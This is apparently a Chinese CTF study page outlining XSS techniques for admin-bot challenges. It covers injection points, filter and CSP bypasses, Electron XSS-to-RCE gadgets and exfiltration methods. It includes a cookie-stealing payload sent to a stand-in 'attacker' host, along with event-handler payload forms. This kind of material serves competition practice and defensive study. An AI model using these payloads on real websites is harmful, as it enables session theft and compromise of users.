XSS¶
WEB · 知识域。跨站脚本注入与浏览器端数据外带。标签:反射型XSS、储存型XSS、DOMXSS、WAF绕过XSS、Electron中XSS。
触发特征¶
- 题目带 admin bot / XSS bot(给出提交 URL 让 bot 访问)——几乎所有 XSS 题的标配。
- 富文本、评论区、昵称等渲染点;CSP 头提示。
反射型XSS¶
- 入口:URL 参数、Referer 头注入(Tokyo Westerns 2017)、
location.hash(jQuery$(location.hash)CSS 选择器时延侧信道,hxp 2018)。 - DOM XSS:jQuery
$(location.hash)、hashchange事件型(Crypto-Cat)、DOM Clobbering + MIME 不一致。 - Shadow DOM、
innerHTMLsink、document.write。
储存型XSS¶
- 落库后管理员/机器人查看触发;配合 CSRF 打特权操作(见 CSRF)。
- 跨域变体:共享父域 Cookie 注入实现跨子域 XSS(0CTF 2017);缓存投毒让公共页面带 payload(CONFidence 2019 Teaser:.js 用户名 + 存储 SVG)。
WAF绕过XSS¶
- 编码:HTML 实体、unicode 转义、hex;大小写、双写、换行拆分标签。
- 无
<script>:<img onerror>、<svg onload>、<details ontoggle>、<iframe srcdoc>。 - CSP 绕过:
- nonce 泄露或
<base>标签劫持相对路径(BSidesSF 2026); - 白名单域被滥用:Cloud Function 白名单域(BSidesSF 2025)、Hyperscript/Alpine CDN(UNbreakable 2026)、攻击者可控 mime-type 同源加载(Midnight Sun CTF Finals 2018)、link prefetch(Boston Key Party 2016);
javascript:URL 在 bot 场景的特殊处理(DiceCTF 2026)。- Unicode 套路:大小写折叠绕过(U+017F 长s,UNbreakable 2026)、Chrome URL 归一化(RCTF 2017)、点过滤用十进制 IP + 括号取属性(33C3 CTF 2016)。
- 框架逃逸:AngularJS 1.x 沙箱(charAt/trim 覆写,Google CTF 2017)、DOMPurify 经可信后端路由绕过、JPEG+HTML polyglot(EHAX 2026)。
数据外带(exfil)¶
- Cookie:
document.location='//attacker/?c='+document.cookie。 - 无外带通道时:CSS 字体字形宽度 + container query 逐字符侧信道(UNbreakable 2026)、
@font-face unicode-range(Harekaze CTF 2018)、图片加载时序 XS-Leak + GraphQL CSRF(HTB GrandMonty)。 - JSONP 回调 XSSI 外带(BSidesSF 2026);postMessage null origin(data: URI iframe,BackdoorCTF 2018)。
Electron中XSS¶
- Electron 渲染进程 XSS = RCE 前置:检查
nodeIntegration、contextIsolation。 - 可用 gadget:
window.require直接 require('child_process');preload暴露的 IPC bridge 调ipcRenderer.send执行主进程能力。 - 组合:ASAR 解包审计(见 Reverse)找渲染入口 → XSS → IPC → RCE。
利用流程(admin bot 题)¶
- 探测 bot 环境:UA、能访问哪些路径(用自身能否加载判断)。
- 找注入 sink + 出口;CSP 存在先解 CSP。
- payload 托管到可控 VPS/webhook,bot 访问即回传。
- bot 内操作通常需要:访问
/flag、携带特权 Cookie 调 API → 优先尝试 fetch 同源接口回读。